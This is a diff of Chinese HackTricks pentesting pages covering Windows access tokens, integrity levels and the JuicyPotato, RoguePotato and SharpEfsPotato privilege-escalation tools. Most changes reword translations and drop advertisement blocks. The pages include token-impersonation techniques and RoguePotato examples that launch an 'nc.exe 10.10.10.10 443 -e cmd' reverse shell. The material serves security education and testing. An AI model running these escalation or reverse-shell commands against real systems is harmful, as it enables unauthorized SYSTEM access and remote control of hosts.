每个 **登录** 系统的 **用户持有一个包含安全信息的访问令牌**,用于该登录会话。用户登录时,系统会创建一个访问令牌。**每个代表用户执行的进程** **都有一个访问令牌的副本**。该令牌标识用户、用户的组和用户的权限。令牌还包含一个登录 SID(安全标识符),用于标识当前的登录会话。
|
||||
每个**登录**到系统的**用户持有一个包含安全信息的访问令牌**,用于该登录会话。当用户登录时,系统会创建一个访问令牌。**每个代表用户执行的进程**都有一个访问令牌的副本。该令牌标识用户、用户的组和用户的权限。令牌还包含一个登录SID(安全标识符),用于标识当前的登录会话。
|
||||
|
||||
您可以通过执行 `whoami /all` 查看此信息。
|
||||
```
|
||||
|
@ -83,36 +70,36 @@ SeTimeZonePrivilege Change the time zone Disabled
|
|||
|
||||
### 本地管理员
|
||||
|
||||
当本地管理员登录时,**会创建两个访问令牌**:一个具有管理员权限,另一个具有普通权限。**默认情况下**,当该用户执行进程时,将使用具有**常规**(非管理员)**权限的令牌**。当该用户尝试**以管理员身份执行**任何操作(例如“以管理员身份运行”)时,**UAC** 将被用来请求权限。\
|
||||
当本地管理员登录时,**会创建两个访问令牌**:一个具有管理员权限,另一个具有普通权限。**默认情况下**,当该用户执行进程时,使用的是具有**常规**(非管理员)**权限的令牌**。当该用户尝试**以管理员身份执行**任何操作(例如“以管理员身份运行”)时,**UAC** 将被用来请求权限。\
|
||||
如果您想要[**了解更多关于 UAC 的信息,请阅读此页面**](../authentication-credentials-uac-and-efs/#uac)**。**
|
||||
|
||||
### 凭据用户 impersonation
|
||||
### 凭据用户冒充
|
||||
|
||||
如果您拥有**任何其他用户的有效凭据**,您可以**使用这些凭据创建**一个**新的登录会话**:
|
||||
```
|
||||
runas /user:domain\username cmd.exe
|
||||
```
|
||||
**访问令牌**还具有**引用**在**LSASS**中的登录会话,这在进程需要访问网络的一些对象时非常有用。\
|
||||
**访问令牌**还具有**LSASS**内部登录会话的**引用**,这在进程需要访问网络的一些对象时非常有用。\
|
||||
您可以使用以下方法启动一个**使用不同凭据访问网络服务**的进程:
|
||||
```
|
||||
runas /user:domain\username /netonly cmd.exe
|
||||
```
|
||||
这是有用的,如果您拥有访问网络中对象的有效凭据,但这些凭据在当前主机内无效,因为它们仅将在网络中使用(在当前主机中将使用您当前用户的权限)。
|
||||
这是有用的,如果您拥有访问网络中对象的有效凭据,但这些凭据在当前主机内无效,因为它们只会在网络中使用(在当前主机中将使用您当前用户的权限)。
|
||||
|
||||
### 令牌类型
|
||||
|
||||
可用的令牌有两种类型:
|
||||
|
||||
* **主令牌**:它作为进程安全凭据的表示。主令牌的创建和与进程的关联是需要提升权限的操作,强调了权限分离的原则。通常,身份验证服务负责令牌的创建,而登录服务则处理其与用户操作系统外壳的关联。值得注意的是,进程在创建时会继承其父进程的主令牌。
|
||||
* **模拟令牌**:使服务器应用程序能够暂时采用客户端的身份以访问安全对象。该机制分为四个操作级别:
|
||||
* ** impersonation 令牌**:使服务器应用程序能够暂时采用客户端的身份以访问安全对象。该机制分为四个操作级别:
|
||||
* **匿名**:授予服务器与未识别用户相似的访问权限。
|
||||
* **识别**:允许服务器验证客户端的身份,而不利用其进行对象访问。
|
||||
* **模拟**:使服务器能够在客户端身份下操作。
|
||||
* **委托**:类似于模拟,但包括将这种身份假设扩展到服务器交互的远程系统的能力,确保凭据的保留。
|
||||
* **身份验证**:允许服务器验证客户端的身份,而不利用其进行对象访问。
|
||||
* ** impersonation **:使服务器能够在客户端身份下操作。
|
||||
* **委托**:类似于 impersonation,但包括将此身份假设扩展到服务器交互的远程系统的能力,以确保凭据的保留。
|
||||
|
||||
#### 模拟令牌
|
||||
#### 假冒令牌
|
||||
|
||||
使用 metasploit 的 _**incognito**_ 模块,如果您拥有足够的权限,您可以轻松地 **列出** 和 **模拟** 其他 **令牌**。这可能有助于执行 **作为其他用户的操作**。您还可以使用此技术 **提升权限**。
|
||||
使用 metasploit 的 _**incognito**_ 模块,如果您拥有足够的权限,您可以轻松地 **列出** 和 **假冒** 其他 **令牌**。这可能有助于执行 **作为其他用户的操作**。您还可以使用此技术 **提升权限**。
|
||||
|
||||
### 令牌权限
|
||||
|
||||
|
@ -122,34 +109,23 @@ runas /user:domain\username /netonly cmd.exe
|
|||
[privilege-escalation-abusing-tokens.md](privilege-escalation-abusing-tokens.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
查看 [**所有可能的令牌权限及其一些定义在此外部页面**](https://github.com/gtworek/Priv2Admin)。
|
||||
查看 [**所有可能的令牌权限及其一些定义的外部页面**](https://github.com/gtworek/Priv2Admin)。
|
||||
|
||||
## 参考
|
||||
|
||||
在这些教程中了解更多关于令牌的信息:[https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa](https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa) 和 [https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个 **暗网** 驱动的搜索引擎,提供 **免费** 功能以检查公司或其客户是否被 **窃取恶意软件** **入侵**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客攻击:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客攻击:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践 AWS 黑客攻击:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客攻击:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -15,45 +15,31 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 驱动的搜索引擎,提供 **免费** 功能以检查公司或其客户是否被 **窃取恶意软件** **入侵**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Integrity Levels
|
||||
|
||||
在 Windows Vista 及更高版本中,所有受保护的项目都有一个 **完整性级别** 标签。此设置通常将“中等”完整性级别分配给文件和注册表项,除了某些 Internet Explorer 7 可以以低完整性级别写入的文件和文件夹。默认情况下,标准用户启动的进程具有中等完整性级别,而服务通常在系统完整性级别下运行。高完整性标签保护根目录。
|
||||
在Windows Vista及更高版本中,所有受保护的项目都有一个**完整性级别**标签。此设置通常将“中等”完整性级别分配给文件和注册表项,除了某些Internet Explorer 7可以以低完整性级别写入的文件夹和文件。默认情况下,标准用户启动的进程具有中等完整性级别,而服务通常在系统完整性级别下运行。高完整性标签保护根目录。
|
||||
|
||||
一个关键规则是,低于对象级别的进程无法修改该对象。完整性级别如下:
|
||||
一个关键规则是,低于对象级别的完整性级别的进程无法修改对象。完整性级别如下:
|
||||
|
||||
* **不可信**:此级别适用于匿名登录的进程。 %%%示例:Chrome%%%
|
||||
* **低**:主要用于互联网交互,特别是在 Internet Explorer 的受保护模式中,影响相关文件和进程,以及某些文件夹,如 **临时 Internet 文件夹**。低完整性进程面临重大限制,包括无法写入注册表和有限的用户配置文件写入访问权限。
|
||||
* **低**:主要用于互联网交互,特别是在Internet Explorer的保护模式下,影响相关文件和进程,以及某些文件夹,如**临时Internet文件夹**。低完整性进程面临重大限制,包括无法写入注册表和有限的用户配置文件写入访问权限。
|
||||
* **中**:大多数活动的默认级别,分配给标准用户和没有特定完整性级别的对象。即使是管理员组的成员默认也在此级别下操作。
|
||||
* **高**:保留给管理员,允许他们修改低完整性级别的对象,包括高完整性级别的对象。
|
||||
* **系统**:Windows 内核和核心服务的最高操作级别,甚至管理员也无法接触,确保保护重要的系统功能。
|
||||
* **系统**:Windows内核和核心服务的最高操作级别,甚至管理员也无法接触,确保保护重要的系统功能。
|
||||
* **安装程序**:一个独特的级别,超越所有其他级别,使该级别的对象能够卸载任何其他对象。
|
||||
|
||||
您可以使用 **Sysinternals** 的 **Process Explorer** 获取进程的完整性级别,访问进程的 **属性** 并查看 "**安全性**" 选项卡:
|
||||
您可以使用**Sysinternals**的**Process Explorer**获取进程的完整性级别,访问进程的**属性**并查看“**安全性**”选项卡:
|
||||
|
||||
![](<../../.gitbook/assets/image (824).png>)
|
||||
|
||||
您还可以使用 `whoami /groups` 获取您的 **当前完整性级别**
|
||||
您还可以使用`whoami /groups`获取您的**当前完整性级别**
|
||||
|
||||
![](<../../.gitbook/assets/image (325).png>)
|
||||
|
||||
### Integrity Levels in File-system
|
||||
|
||||
文件系统中的对象可能需要 **最低完整性级别要求**,如果进程没有此完整性级别,则无法与其交互。\
|
||||
例如,让我们 **从普通用户控制台创建一个常规文件并检查权限**:
|
||||
文件系统中的对象可能需要**最低完整性级别要求**,如果进程没有此完整性级别,则无法与其交互。\
|
||||
例如,让我们**从常规用户控制台创建一个常规文件并检查权限**:
|
||||
```
|
||||
echo asd >asd.txt
|
||||
icacls asd.txt
|
||||
|
@ -64,7 +50,7 @@ NT AUTHORITY\INTERACTIVE:(I)(M,DC)
|
|||
NT AUTHORITY\SERVICE:(I)(M,DC)
|
||||
NT AUTHORITY\BATCH:(I)(M,DC)
|
||||
```
|
||||
现在,让我们为文件分配一个最低的完整性级别为 **高**。这 **必须在以** 管理员 **身份运行的控制台中完成,因为** 常规控制台 **将以中等完整性级别运行,并且** 不允许 **将高完整性级别分配给对象:
|
||||
现在,让我们为文件分配一个最低的完整性级别为 **高**。这 **必须从一个以管理员身份运行的控制台** 中完成,因为 **常规控制台** 将在中等完整性级别下运行,并且 **不允许** 将高完整性级别分配给对象:
|
||||
```
|
||||
icacls asd.txt /setintegritylevel(oi)(ci) High
|
||||
processed file: asd.txt
|
||||
|
@ -79,7 +65,7 @@ NT AUTHORITY\SERVICE:(I)(M,DC)
|
|||
NT AUTHORITY\BATCH:(I)(M,DC)
|
||||
Mandatory Label\High Mandatory Level:(NW)
|
||||
```
|
||||
这是事情变得有趣的地方。你可以看到用户 `DESKTOP-IDJHTKP\user` 对该文件拥有 **完全权限**(实际上这是创建该文件的用户),然而,由于实施的最低完整性级别,他将无法再修改该文件,除非他在高完整性级别下运行(请注意,他仍然可以读取该文件):
|
||||
这是事情变得有趣的地方。你可以看到用户 `DESKTOP-IDJHTKP\user` 对文件拥有 **完全权限**(实际上这是创建该文件的用户),然而,由于实施的最低完整性级别,他将无法再修改该文件,除非他在高完整性级别下运行(请注意,他仍然可以读取该文件):
|
||||
```
|
||||
echo 1234 > asd.txt
|
||||
Access is denied.
|
||||
|
@ -112,33 +98,6 @@ Mandatory Label\Low Mandatory Level:(NW)
|
|||
|
||||
### 进程中的完整性级别
|
||||
|
||||
并非所有文件和文件夹都有最低完整性级别,**但所有进程都在完整性级别下运行**。与文件系统发生的情况类似,**如果一个进程想要在另一个进程内写入,它必须至少具有相同的完整性级别**。这意味着低完整性级别的进程无法以完全访问权限打开中等完整性级别进程的句柄。
|
||||
并非所有文件和文件夹都有最低完整性级别,**但所有进程都在完整性级别下运行**。与文件系统发生的情况类似,**如果一个进程想要在另一个进程内部写入,它必须至少具有相同的完整性级别**。这意味着低完整性级别的进程无法以完全访问权限打开中等完整性级别进程的句柄。
|
||||
|
||||
由于本节和前一节中提到的限制,从安全角度来看,始终**建议以尽可能低的完整性级别运行进程**。
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个**暗网**驱动的搜索引擎,提供**免费**功能以检查公司或其客户是否被**窃取恶意软件**所**危害**。
|
||||
|
||||
WhiteIntel的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
你可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,22 +15,8 @@
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 驱动的搜索引擎,提供 **免费** 功能以检查公司或其客户是否被 **窃取恶意软件** **入侵**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
{% hint style="warning" %}
|
||||
**JuicyPotato 在** Windows Server 2019 和 Windows 10 build 1809 及之后版本上 **无法工作**。然而, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) 可以用来 **利用相同的权限并获得 `NT AUTHORITY\SYSTEM`** 级别的访问权限。 _**检查:**_
|
||||
**JuicyPotato 在** Windows Server 2019 和 Windows 10 build 1809 及之后版本上**无法工作**。然而, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**、** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**、** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) 可以用来 **利用相同的权限并获得 `NT AUTHORITY\SYSTEM`** 级别的访问权限。 _**检查:**_
|
||||
{% endhint %}
|
||||
|
||||
{% content-ref url="roguepotato-and-printspoofer.md" %}
|
||||
|
@ -39,43 +25,43 @@ WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户
|
|||
|
||||
## Juicy Potato (滥用黄金权限) <a href="#juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a>
|
||||
|
||||
_一个经过改良的_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG) _版本,带有一点“果汁”,即 **另一个本地权限提升工具,从 Windows 服务账户到 NT AUTHORITY\SYSTEM**_
|
||||
_一个经过糖化的_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG) _版本,带有一点“果汁”,即 **另一个本地权限提升工具,从 Windows 服务账户到 NT AUTHORITY\SYSTEM**_
|
||||
|
||||
#### 您可以从 [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts) 下载 juicypotato
|
||||
#### 你可以从 [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts) 下载 juicypotato
|
||||
|
||||
### 摘要 <a href="#summary" id="summary"></a>
|
||||
|
||||
[**来自 juicy-potato 的 Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:**
|
||||
[**来自 juicy-potato 的自述文件**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:**
|
||||
|
||||
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) 及其 [变种](https://github.com/decoder-it/lonelypotato) 利用基于 [`BITS`](https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799\(v=vs.85\).aspx) [服务](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) 的权限提升链,具有在 `127.0.0.1:6666` 上的 MiTM 监听器,并且当您拥有 `SeImpersonate` 或 `SeAssignPrimaryToken` 权限时。在一次 Windows 构建审查中,我们发现了一个故意禁用 `BITS` 的设置,并且端口 `6666` 被占用。
|
||||
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) 及其 [变种](https://github.com/decoder-it/lonelypotato) 利用基于 [`BITS`](https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799\(v=vs.85\).aspx) [服务](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) 的权限提升链,具有在 `127.0.0.1:6666` 上的 MiTM 监听器,并且当你拥有 `SeImpersonate` 或 `SeAssignPrimaryToken` 权限时。在一次 Windows 构建审查中,我们发现了一个故意禁用 `BITS` 的设置,并且端口 `6666` 被占用。
|
||||
|
||||
我们决定将 [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) 武器化:**向 Juicy Potato 打个招呼**。
|
||||
我们决定武器化 [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG):**向 Juicy Potato 打个招呼**。
|
||||
|
||||
> 有关理论,请参见 [Rotten Potato - 从服务账户到 SYSTEM 的权限提升](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) 并跟踪链接和参考链。
|
||||
> 有关理论,请参见 [Rotten Potato - 从服务账户到 SYSTEM 的权限提升](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) 并跟踪链接和参考。
|
||||
|
||||
我们发现,除了 `BITS` 之外,还有几个 COM 服务器可以利用。它们只需要:
|
||||
|
||||
1. 可由当前用户实例化,通常是具有模拟权限的“服务用户”
|
||||
1. 由当前用户实例化,通常是具有模拟权限的“服务用户”
|
||||
2. 实现 `IMarshal` 接口
|
||||
3. 以提升的用户身份运行(SYSTEM,Administrator,…)
|
||||
3. 以提升的用户身份运行(SYSTEM、Administrator 等)
|
||||
|
||||
经过一些测试,我们获得并测试了一份在多个 Windows 版本上的 [有趣 CLSID 列表](http://ohpe.it/juicy-potato/CLSID/)。
|
||||
|
||||
### Juicy 细节 <a href="#juicy-details" id="juicy-details"></a>
|
||||
|
||||
JuicyPotato 允许您:
|
||||
JuicyPotato 允许你:
|
||||
|
||||
* **目标 CLSID** _选择您想要的任何 CLSID。_ [_这里_](http://ohpe.it/juicy-potato/CLSID/) _您可以找到按操作系统组织的列表。_
|
||||
* **COM 监听端口** _定义您喜欢的 COM 监听端口(而不是硬编码的 6666)_
|
||||
* **目标 CLSID** _选择你想要的任何 CLSID。_ [_这里_](http://ohpe.it/juicy-potato/CLSID/) _你可以找到按操作系统组织的列表。_
|
||||
* **COM 监听端口** _定义你喜欢的 COM 监听端口(而不是硬编码的 6666)_
|
||||
* **COM 监听 IP 地址** _在任何 IP 上绑定服务器_
|
||||
* **进程创建模式** _根据模拟用户的权限,您可以选择:_
|
||||
* **进程创建模式** _根据模拟用户的权限,你可以选择:_
|
||||
* `CreateProcessWithToken`(需要 `SeImpersonate`)
|
||||
* `CreateProcessAsUser`(需要 `SeAssignPrimaryToken`)
|
||||
* `两者都可以`
|
||||
* **要启动的进程** _如果利用成功,则启动可执行文件或脚本_
|
||||
* **要启动的进程** _如果利用成功,启动一个可执行文件或脚本_
|
||||
* **进程参数** _自定义启动进程的参数_
|
||||
* **RPC 服务器地址** _为了隐蔽的方法,您可以对外部 RPC 服务器进行身份验证_
|
||||
* **RPC 服务器端口** _如果您想对外部服务器进行身份验证并且防火墙阻止端口 `135`,则很有用…_
|
||||
* **RPC 服务器地址** _为了隐蔽的方式,你可以认证到外部 RPC 服务器_
|
||||
* **RPC 服务器端口** _如果你想认证到外部服务器而防火墙阻止端口 `135`,这很有用…_
|
||||
* **测试模式** _主要用于测试目的,即测试 CLSID。它创建 DCOM 并打印令牌的用户。请参见_ [_这里进行测试_](http://ohpe.it/juicy-potato/Test/)
|
||||
|
||||
### 使用 <a href="#usage" id="usage"></a>
|
||||
|
@ -95,7 +81,7 @@ Optional args:
|
|||
-k <ip>: RPC server ip address (default 127.0.0.1)
|
||||
-n <port>: RPC server listen port (default 135)
|
||||
```
|
||||
### 最后思考 <a href="#final-thoughts" id="final-thoughts"></a>
|
||||
### 最后想法 <a href="#final-thoughts" id="final-thoughts"></a>
|
||||
|
||||
[**来自 juicy-potato 读我**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:**
|
||||
|
||||
|
@ -144,25 +130,14 @@ c:\Users\Public>
|
|||
|
||||
下载 [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) 并将其加载到您的 PS 会话中,然后下载并执行 [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1)。该脚本将创建一个可能的 CLSID 列表以供测试。
|
||||
|
||||
然后下载 [test\_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test\_clsid.bat)(更改 CLSID 列表和 juicypotato 可执行文件的路径)并执行它。它将开始尝试每个 CLSID,**当端口号改变时,意味着 CLSID 有效**。
|
||||
然后下载 [test\_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test\_clsid.bat)(更改 CLSID 列表和 juicypotato 可执行文件的路径)并执行它。它将开始尝试每个 CLSID,**当端口号改变时,这意味着 CLSID 有效**。
|
||||
|
||||
**使用参数 -c 检查** 有效的 CLSID
|
||||
|
||||
## 参考
|
||||
## 参考文献
|
||||
|
||||
* [https://github.com/ohpe/juicy-potato/blob/master/README.md](https://github.com/ohpe/juicy-potato/blob/master/README.md)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 驱动的搜索引擎,提供 **免费** 功能以检查公司或其客户是否被 **窃取恶意软件** **入侵**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -9,28 +9,14 @@
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 驱动的搜索引擎,提供 **免费** 功能以检查公司或其客户是否被 **窃取恶意软件** **入侵**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
{% hint style="warning" %}
|
||||
**JuicyPotato 在 Windows Server 2019 和 Windows 10 build 1809 及之后的版本上无法工作**。然而, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**、** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**、** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**、** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**、** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**、** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** 可以用来 **利用相同的权限并获得 `NT AUTHORITY\SYSTEM`** 级别的访问权限。此 [博客文章](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) 深入探讨了 `PrintSpoofer` 工具,该工具可用于在 JuicyPotato 不再有效的 Windows 10 和 Server 2019 主机上滥用模拟权限。
|
||||
**JuicyPotato 在** Windows Server 2019 和 Windows 10 build 1809 及之后版本上**不工作**。然而, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**、** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**、** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**、** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**、** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**、** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** 可以用来 **利用相同的权限并获得 `NT AUTHORITY\SYSTEM`** 级别的访问权限。此 [博客文章](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) 深入探讨了 `PrintSpoofer` 工具,该工具可用于在 JuicyPotato 不再有效的 Windows 10 和 Server 2019 主机上滥用模拟权限。
|
||||
{% endhint %}
|
||||
|
||||
## 快速演示
|
||||
|
@ -58,8 +44,6 @@ c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l
|
|||
# In some old versions you need to use the "-f" param
|
||||
c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### SharpEfsPotato
|
||||
```bash
|
||||
> SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "whoami | Set-Content C:\temp\w.log"
|
||||
|
@ -107,7 +91,7 @@ nt authority\system
|
|||
![image](https://github.com/user-attachments/assets/a3153095-e298-4a4b-ab23-b55513b60caa)
|
||||
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
